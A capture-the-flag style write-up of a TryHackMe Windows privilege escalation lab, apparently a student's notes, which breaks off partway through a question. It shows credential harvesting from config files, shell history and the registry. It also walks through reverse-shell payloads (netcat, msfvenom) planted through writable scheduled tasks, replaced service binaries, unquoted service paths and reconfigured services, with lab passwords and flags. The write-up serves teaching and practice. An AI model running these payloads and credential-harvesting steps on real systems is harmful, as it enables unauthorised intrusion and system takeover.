Task 2: Windows Privilege Escalation

Gaining access to different accounts can be as simple as finding credentials in text files or spreadsheets left unsecured by some careless user, but that won't always be the case. Depending on the situation, we might need to abuse some of the following weaknesses:

Misconfigurations on Windows services or scheduled tasks.

Excessive privileges assigned to our account.

Vulnerable software.

Missing Windows security patches.

Windows Users:

Admins: These users have the most privileges. They can change any system configuration parameter and access any file in the system.

Standard Users: These users can access the computer, but only perform limited tasks. Typically these users cannot make permanent or essential changes tot he system and are limited to their files.

System/LocalSystem: An account used by the OS to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than admins.

Local Service: Default account used to run Windows services with "minimum" privileges. It will use anonymous connections over the network.

Network Service: Default account used to run Windows services with "minimum" privileges. It will use the computer credentials to authenticate through the network.

Question 1: Users that can change system configurations are part of which group?

Administrators.

Question 2: The SYSTEM account ahs more privileges than the administrator user (aye/nay)

aye

Task 3: Harvesting Passwords from Usual Spots

This task looks at known places to look for passwords on a Windows system.

Unattended Windows Installations : When installing Windows on a large number of hosts, admins may use Windows Deployment Services, which allows for a single OS image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an admin account to perform the initial setup, whioch might end up being stored in the machine in the folllowing locations:

C:\Unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\system32\sysprep.inf

C:\Windows\system32\sysprep\sysprep.xml

Powershell History : Commands entered in Powershell are stored in afile that keeps a memory of past commands. You can retrieve those commands from a cmd.exe prompt:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials :

Windows allows us to use other users' credentials. TThis function also gives the option to save these credentials on the system.

cmdkey /list : Lists saved credentials.

While you can't see the passwords, if you notice any credentials worth trying, you can use them with the runas command the /savecred option:

```
runas /savecred /user:admin cmd.exe
```

IIS Configuration : Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:

```
C:\inetpub\wwwroot\web.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```

Here is a quick way to find database connection strings on the file:

```
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```

Retrieve Credentials from Software: PuTTY

To retrieve stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:

```
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

Question 1: A password for the julia.jones user has been left on the Powershell history. What is the password?

We check Powershell history in this case with the following command:

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

ls

whoami

whoami /priv

whoami /group

whoami /groups

cmdkey /?

cmdkey /add:thmdc.local /user:julia.jones /pass:ZuperCkretPa5z

cmdkey /list

cmdkey /delete:thmdc.local

cmdkey /list

runas /?

Looks like the password is: ZuperCkretPa5z

Question 2: A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?

The following command will print out the database connection strings:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

<add connectionStringName="LocalSqlServer" maxEventDetailsLength="1073741823" buffer="false" bufferMode="Notification" name="SqlWebEventProvider" type="System.Web.Management.SqlWebEventProvider,System.Web,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a" />

<add connectionStringName="LocalSqlServer" name="AspNetSqlPersonalizationProvider"

type="System.Web.UI.WebControls.WebParts.SqlPersonalizationProvider, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />

<connectionStrings>

<add connectionString="Server=thm-db.local;Database=thm-sekure;User ID=db_admin;Password=098n0x35skjD3" name="THM-DB" />

</connectionStrings>

The answer to this question is: 098n0x35skjD3

Question 3: There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.

Once again we use the command prompt to list out stored credentials and then use the stored credentials to save them using runas.

C:\Users\thm-unpriv>cmdkey /list

Currently stored credentials:

Target: Domain:interactive=WPRIVESC1\mike.katz

Type: Domain Password

User: WPRIVESC1\mike.katz

So now that we know mike.katz has stored credentials on our current user, we can use runas to save the credentials and open another command prompt as his user.

C:\Users\thm-unpriv>runas /savecred /user:mike.katz cmd.exe

Attempting to start cmd.exe as user "WPRIVESC1\mike.katz" ...

So now that we are running cmd as mike.katz we'll print out the desktop directory using dir and print out the flag using the type command.

C:\Windows\system32>dir C:\Users\mike.katz\Desktop

Volume in drive C has no label.

Volume Serial Number is A8A4-C362

Directory of C:\Users\mike.katz\Desktop

05/04/2022 05:17 AM <DIR> .

05/04/2022 05:17 AM <DIR> ..

06/21/2016 03:36 PM 527 EC2 Feedback.website

06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website

05/04/2022 05:17 AM 24 flag.txt

3 File(s) 1,105 bytes

2 Dir(s) 15,060,230,144 bytes free

C:\Windows\system32>type C:\Users\mike.katz\Desktop\flag.txt

THM{WHAT_IS_MY_PASSWORD}

Question 4: Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?

So for this question we will be entering some more commands in command prompt:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

reg : Denotes a command that will interact with the system registry

query: Specifies that we are looking up information under the given path which stores the password we are looking for.

/f flag: Signalsthe query to match the string "Proxy", while the /s flag instructs the query to search the directory and subdirectories recursively.

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\My%20ssh%20server

ProxyExcludeList REG_SZ

ProxyDNS REG_DWORD 0x1

ProxyLocalhost REG_DWORD 0x0

ProxyMethod REG_DWORD 0x0

ProxyHost REG_SZ proxy

ProxyPort REG_DWORD 0x50

ProxyUsername REG_SZ thom.smith

ProxyPassword REG_SZ CoolPass2021

ProxyTelnetCommand REG_SZ connect %host %port\n

ProxyLogToTerm REG_DWORD 0x1

End of search: 10 match(es) found.

Answer: CoolPass2021

Task 4: Other Quick Wins

PrivEsc isn't always a challenge. If none of the previous techniques work during a penetration testing engagement, you can always resort to these quick wins:

Scheduled Tasks: These can listed from the command line using the schtasks command without any options. To retrieve detailed info you can use:

schtasks /query /tn vulntask /fo list /v

The "Task to Run" parameter indicates what gets executed by the scheduled task, and the "Run as User" parameter shows the user that will be used to execute the task.

If our current user can modify or overwrite the "Task to Run" exe, we can control what gets executed by the user, resulting in a simple privilege escalation. To check the file permissions on the executable use:

```
icacls c:\tasks\schtask.bat

c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)

  BUILTIN\Administrators:(I)(F)

  BUILTIN\Users:(I)(F)
```

BUILTIN\Users has full access (F) over the task's binary, which means we can modify tthe bat file and insert any payload we like. nc64.exe can be found on C:\tools and can be used to spawn a reverse shell like so:

```
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
```

We can then startt a listener on our attack box like so:

```
nc -lvp 4444
```

The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. We can then run the task with the following command:

```
C:\> schtasks /run /tn vulntask
```

We then got a reverse shell with taskusr1 privileges:

```
user@attackerpc$ nc -lvp 4444

Listening on 0.0.0.0 4444

Connection received on 10.10.175.90 50649

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.
```

C:\Windows\system32>whoami

wprivesc1\taskusr1

AlwaysInstallElevated: Windows installer files are used to install applications on the system. They usually run with the privilege level o fthe user that starts it. However, these can be configured to run with higher preivileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges. This method requires two registry values to be set. You can query these from the command line using the commands below:

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

To be able to exploit this vulnerability, both need to be set. Otherwise, exploitation will not be possible. If these are set, you can generate a malicious .msi file using msfvenom, as seen below:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

As this is a reverse shell, you should also run the Metasploit Handler module configured accordingly. Once you have transferred the file you have created, you can run the installer with the command below and receive the reverse shell:

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Question 1: What is the taskusr1 flag?

So let's start off with querying a list of scheduled tasks:

C:\Users\thm-unpriv>schtasks /query /tn vulntask /fo list /v

Folder: \

HostName: WPRIVESC1

TaskName: \vulntask

Next Run Time: N/A

Status: Ready

Logon Mode: Interactive/Background

Last Run Time: 7/12/2023 10:43:02 PM

Last Result: 0

Author: WPRIVESC1\Administrator

Task To Run: C:\tasks\schtask.bat

Start In: N/A

Comment: N/A

Scheduled Task State: Enabled

Idle Time: Disabled

Power Management: Stop On Battery Mode, No Start On Batteries

Run As User: taskusr1

Delete Task If Not Rescheduled: Disabled

Stop Task If Runs X Hours and X Mins: 72:00:00

Schedule: Scheduling data is not available in this format.

Schedule Type: At system start up

Start Time: N/A

Start Date: N/A

End Date: N/A

Days: N/A

Months: N/A

Repeat: Every: N/A

Repeat: Until: Time: N/A

Repeat: Until: Duration: N/A

Repeat: Stop If Still Running: N/A

Just a little breakdown /tn precedes the task name, /fo instructs the system to list out the tasks and /v is for verbosity. And it looks like the task we will exploit is C:\tasls\schtask.bat.

C:\Users\thm-unpriv>icacls C:\tasks\schtask.bat

C:\tasks\schtask.bat BUILTIN\Users:(I)(F)

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\Users\thm-unpriv>echo C:\tools\nc64.exe -e cmd.exe 10.10.250.49 4444 > C:\tasks\schtask.bat

C:\Users\thm-unpriv>schtasks /run /tn vulntask

SUCCESS: Attempted to run the scheduled task "vulntask".

Invoking icacles instructs the system to print out the permissions on the target file. At this point, the echo command is used to tell the system to reprint whatever input it is given, although in this case the > symbol instructs the computer to print this directly into the C:\tasks\schtask.bat file. Next we move on to our attackbox.

root@ip-10-10-245-220:~# nc -vlp 4444

Listening on [0.0.0.0] (family 0, port 4444)

Connection from ip-10-10-250-49.eu-west-1.compute.internal 49801 received!

```
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>dir C:\Users\taskusr1\Desktop
dir C:\Users\taskusr1\Desktop
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\taskusr1\Desktop

05/03/2022  01:00 PM    <DIR>          .
05/03/2022  01:00 PM    <DIR>          ..
06/21/2016  03:36 PM               527 EC2 Feedback.website
06/21/2016  03:36 PM               554 EC2 Microsoft Windows
Guide.website
05/03/2022  01:00 PM                19 flag.txt
               3 File(s)          1,100 bytes
               2 Dir(s)  15,043,936,256 bytes free
C:\Windows\system32>type C:\Users\taskusr1\Desktop\flag.txt
type C:\Users\taskusr1\Desktop\flag.txt
THM{TASK_COMPLETED}
```

So all in all the process goes as follows: Find what user has the ability to write to scheduled tasks, then echo the netcat executable and append it to the schtaask.bat file. We

can now open netcat and have it listen in on any connections through port 4444. Finally we run the schtasks batch and that will open a root shell on our attackbox. From there it's as simple as enumerating the victim's machine for the flag and just like always Tryhackme always conveniently places it in the desktop folder so just check using dir and then type out the flag's contents and we're finished. Quick and easy win.

Task 5: Abusing Service Misconfigurations

Windows Services: These are managed by the Service Control Manager (SCM). The SCM is a process in charge of managing the state of services as needed, checking current sttatus of any given service and generally providing a way tto configure services. Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able toc ommunicate with the SCM, and therefore, not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run. To better understand the structure of a service we can use the sc qc command.

```
C:\> sc qc apphostsvc
        [SC] QueryServiceConfig SUCCESS

        SERVICE_NAME: apphostsvc
            TYPE               : 20  WIN32_SHARE_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k
apphost
            LOAD_ORDER_GROUP   :
```

TAG : 0

DISPLAY_NAME : Application Host Helper Service

DEPENDENCIES :

SERVICE_START_NAME : localSystem

Here we can see that the associated executable is specified through the BINARY_PATH_NAME parameter, and the account used to run the service is show on the SERVICE_START_NAME parameter.

Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Proces Hacker.

All of the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\

A subkey exists for every service in the system. Again we can see the associated executable on the ImagePath value and the account used to start the service on the ObjectName value. If a DACL has been configured for the service, it will be stored in a subkey called Security. Only administrators can modify such registry entries by default.

Insecure Permissions on Service Executable: If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service's account trivially. To understand how this works, Tryhackme looks at a vulnerability found on Splinterware System Scheduler. To start, we query the service configuration using sc:

C:\> sc qc WindowsScheduler

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler

```
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 0   IGNORE
BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : System Scheduler Service
DEPENDENCIES       :
SERVICE_START_NAME : .\svcuser1
```

We can see that the service installed by the vulnerable software runs as svcuser1 and the executable associated with the service is in C:\Progra~2\System~1\WService.exe. We then proceed to check the permissions on the executable:

```
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL
APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL
RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

The everyone group has modify permissions on the service's executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account. In this case we can generate an exe-service payload using msfvenom and serve it through a python webserver:

```
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
```

```
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

We then pull the payload from the Powershell with the following command:

```
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
```

Once the payload is in the Windows serverm we proceed to replace the service executable with our payload. SInce we need another user to execute our payload, we'll want to grant full permissions to the Everyone group as well:

```
C:\> cd C:\PROGRA~2\SYSTEM~1\
```

```
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
    1 file(s) moved.
```

```
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
    1 file(s) moved.
```

```
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
    Successfully processed 1 files.
```

We start a reverse listener on our attackbox:

user@attackerpc$ nc -lvp 4445

And finally, restart the service. While in a normal scenario, you would likely have to wait for a service restart, you sometimes have the ability to start and stop services like so:

C:\> sc stop windowsscheduler

C:\> sc start windowsscheduler

Note: Powershell has sc as an alias to Set-Content, therefore, you need to use sc.exe in order to control services with PowerShell this way. As a result, you'll get a reverse shell with svcuusr1 privileges:

user@attackerpc$ nc -lvp 4445

Listening on 0.0.0.0 4445

Connection received on 10.10.175.90 50649

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

wprivesc1\svcusr1

Unquoted Service Paths: When we can't directly write into service executables as before, there might still be a chance to force a service into running arbitrary executables by using a rather obscure feature. When working with Windows services, a very particular behaviour occurs when the service is configured to point to an "unquoted" executable. By unquoted, we mean that the path of the associated executable isn't properly quoted to account for spaces on the command. As an example, let's look at the difference between two services. The first service will use a proper quotation so that the SCM knows without

a doubt that it has to execute the binary file pointed by "C:\Program Files\RealVNC\VNC Server\vncserver.exe", followed by the given parameters:

```
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

Remember: PowerShell has 'sc' as an alias to 'Set-Content', therefore, you need to use 'sc.exe' to control services if you are in a PowerShell prompt. Now let's look at another service without proper quotation:

```
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
```

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 0 IGNORE

BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Disk Sorter Enterprise

DEPENDENCIES :

SERVICE_START_NAME : .\svcusr2

When the SCM tries to execute the associated binary, a problem arises. Since there are spaces on the name of the "Disk Sorter Enterprise" folder, the command becomes ambiguous, and the SCM doesn't know which of the following you are trying to execute:

Command	Argument 1	Argument 2
C:\MyPrograms\Disk.exe	Sorter	Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe	Enterprise\bin\disksrs.exe	
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe		

This has to do with how the command prompt parses a command. Usually, when you send a command, spaces are used as argument separators unless they are part of a quoted string. This means the "right" interpretation of the unquoted command would be to execute C:\\MyPrograms\\Disk.exe and take the rest as arguments.

Instead of failing as it probably should, SCM tries to help the user and starts searching for each of the binaries in the order shown in the table:

1. First, search for C:\\MyPrograms\\Disk.exe. If it exists, the service will run this executable.

2. If the latter doesn't exist, it will then search for C:\\MyPrograms\\Disk Sorter.exe. If it exists, the service will run this executable.

3. If the latter doesn't exist, it will then search for C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe. This option is expected to succeed and will typically be run in a default installation.

From this behaviour, the problem becomes evident. If an attacker creates any of the executables that are searched for before the expected service executable, they can force the service to run an arbitrary executable.

While this sounds trivial, most of the service executables will be installed under C:\Program Files or C:\Program Files (x86) by default, which isn't writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule: - Some installers change the permissions on the installed folders, making the services vulnerable. - An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited.

In our case, the Administrator installed the Disk Sorter binaries under c:\MyPrograms. By default, this inherits the permissions of the C:\ directory, which allows any user to create files and folders in it. We can check this using icacls:

C:\>icacls c:\MyPrograms

c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

```
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
```

The BUILTIN\\Users group has AD and WD privileges, allowing the user to create subdirectories and files, respectively.

The process of creating an exe-service payload with msfvenom and transferring it to the target host is the same as before, so feel free to create the following payload and upload it to the server as before. We will also start a listener to receive the reverse shell when it gets executed:

```
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
```

```
user@attackerpc$ nc -lvp 4446
```

Once the payload is in the server, move it to any of the locations where hijacking might occur. In this case, we will be moving our payload to C:\MyPrograms\Disk.exe. We will also grant Everyone full permissions on the file to make sure it can be executed by the service:

```
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
```

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F

Successfully processed 1 files.

Once the service gets restarted, your payload should execute:

C:\> sc stop "disk sorter enterprise"

C:\> sc start "disk sorter enterprise"

As a result, you'll get a reverse shell with svcusr2 privileges:

user@attackerpc$ nc -lvp 4446

Listening on 0.0.0.0 4446

Connection received on 10.10.175.90 50650

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

wprivesc1\svcusr2

Insecure Service Permissions:

You might still have a slight chance of taking advantage of a service if the service's executable DACL is well configured, and the service's binary path is rightly quoted. Should the service DACL allow you to modify the configuration of a service, you will be able to reconifgure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself. To check for a service DACL from the command line, you can use Accesschk from the Sysinternals suite like so:

C:\tools\AccessChk> accesschk64.exe -qlc thmservice

[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM

SERVICE_QUERY_STATUS

SERVICE_QUERY_CONFIG

SERVICE_INTERROGATE

SERVICE_ENUMERATE_DEPENDENTS

SERVICE_PAUSE_CONTINUE

SERVICE_START

SERVICE_STOP

SERVICE_USER_DEFINED_CONTROL

READ_CONTROL

[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users

SERVICE_ALL_ACCESS

Here we can see that the BUILTIN\\Users group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.

Before changing the service, let's build another exe-service reverse shell and start a listener for it on the attacker's machine

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

We will then transfer the reverse shell executable to the target machine and store it in C:\Users\thm-unpriv\rev-svc3.exe. Feel free to use wget to transfer your executable and move it to the desired location. Remember to grant permissions to Everyone to execute your payload:

C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

To change the service's associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):

C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Notice we can use any account to run the service. We chose LocalSystem as it is the highest privileged account available. To trigger our payload, all that rests is restarting the service:

C:\> sc stop THMService

C:\> sc start THMService

And we will receive a shell back in our attacker's machine with SYSTEM privileges:

user@attackerpc$ nc -lvp 4447

Listening on 0.0.0.0 4447

Connection received on 10.10.175.90 50650

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

NT AUTHORITY\SYSTEM

Question 1: Get the flag on svcusr1's desktop.

First we query the WindowsScheduler.

C:\Users\thm-unpriv>sc qc WindowsScheduler

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 0 IGNORE

BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : System Scheduler Service

DEPENDENCIES :

SERVICE_START_NAME : .\svcusr1

Then we run icacls:

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe

C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Now we move on to the attackbox and use msfvenom:

root@ip-10-10-146-246:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.146.246 LPORT=4445 -f exe-service -o rev-svc.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 460 bytes

Final size of exe-service file: 48640 bytes

Saved as: rev-svc.exe

Next we establish our python server we will be listening in on.

root@ip-10-10-146-246:~# python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now we open PowerShell and use wget to connect to our python server and download the msfvenom payload.

PS C:\Users\thm-unpriv> wget http://10.10.146.246:8000/rev-svc.exe -O rev-svc.exe

PS C:\Users\thm-unpriv> dir

Directory: C:\Users\thm-unpriv

Mode LastWriteTime Length Name

```
----            -------------        ------ ----
d-r---        5/3/2022   3:14 PM              3D Objects
d-r---        5/3/2022   3:14 PM              Contacts
d-r---       7/13/2023   3:27 AM              Desktop
d-r---        5/3/2022   3:14 PM              Documents
d-r---        5/3/2022   3:14 PM              Downloads
d-r---        5/3/2022   3:14 PM              Favorites
d-r---        5/3/2022   3:14 PM              Links
d-r---        5/3/2022   3:14 PM              Music
d-r---        5/3/2022   3:14 PM              Pictures
d-r---        5/3/2022   3:14 PM              Saved Games
d-r---        5/3/2022   3:14 PM              Searches
d-r---        5/3/2022   3:14 PM              Videos
-a----       7/13/2023   3:44 AM          48640 rev-svc.exe
```

Next we move back to the command prompt and move the file over to the Everyone group granting all system users full privileges to this file allowing any user to run it, like so:

```
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
```

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\thm-unpriv>cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1>move WService.exe WService.exe.bkp

1 file(s) moved.

C:\PROGRA~2\SYSTEM~1>move C:\Users\thm-unpriv\rev-svc.exe WService.exe

1 file(s) moved.

C:\PROGRA~2\SYSTEM~1>icacls WService.exe /grant Everyone:F

processed file: WService.exe

Successfully processed 1 files; Failed processing 0 files

Next we'll run netcat to listen on port 4445. Since we can start and stop windowsscheduler we're gonna go ahead and stop and start it so that we can attain our reverse shell.

C:\PROGRA~2\SYSTEM~1>sc stop windowsscheduler

SERVICE_NAME: windowsscheduler

TYPE : 10 WIN32_OWN_PROCESS

STATE : 3 STOP_PENDING

(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)

WIN32_EXIT_CODE : 0 (0x0)

SERVICE_EXIT_CODE : 0 (0x0)

CHECKPOINT : 0x2

WAIT_HINT : 0x3e8

C:\PROGRA~2\SYSTEM~1>sc start windowsscheduler

SERVICE_NAME: windowsscheduler

TYPE : 10 WIN32_OWN_PROCESS

STATE : 4 RUNNING

(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

WIN32_EXIT_CODE : 0 (0x0)

SERVICE_EXIT_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT_HINT : 0x0

PID : 2928

FLAGS :

Now we have our reverse shell and are now svcusr1.

```
C:\Windows\system32>whoami
whoami
wprivesc1\svcusr1

C:\Windows\system32>dir C:\Users\svcusr1\Desktop
dir C:\Users\svcusr1\Desktop
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of C:\Users\svcusr1\Desktop

05/03/2022  01:00 PM    <DIR>          .
05/03/2022  01:00 PM    <DIR>          ..
06/21/2016  03:36 PM               527 EC2 Feedback.website
06/21/2016  03:36 PM               554 EC2 Microsoft Windows Guide.website
05/03/2022  01:01 PM                20 flag.txt
               3 File(s)          1,101 bytes
               2 Dir(s)  14,761,222,144 bytes free

C:\Windows\system32>type c:\Users\svcusr1\Desktop\flag.txt
type c:\Users\svcusr1\Desktop\flag.txt
THM{AT_YOUR_SERVICE}
```

Question 2: Get the flag on svcusr2's desktop.

This question will show off unquoted service paths. Let's get started.

C:\Users\thm-unpriv>sc qc "disk sorter enterprise"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 0 IGNORE

BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Disk Sorter Enterprise

DEPENDENCIES :

SERVICE_START_NAME : .\svcusr2

C:\Users\thm-unpriv>icacls C:\MyPrograms

C:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

BUILTIN\Administrators:(I)(OI)(CI)(F)

BUILTIN\Users:(I)(OI)(CI)(RX)

BUILTIN\Users:(I)(CI)(AD)

BUILTIN\Users:(I)(CI)(WD)

CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

So we know the disk sorter vulnerability includes a binary executable that includes the unquoted service path vulnerabilitty. Further information gathering using icacls on C:\MyPrograms directory shows that BUILTIN\Users can create both subdirectories and files to this directory. The necessary conditions for this exploit exist. So now all we have to do is create the msfvenom payload and wind up another python server.

root@ip-10-10-76-122:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.76.122 LPORT=4446 -f exe-service -o rev-svc2.exe

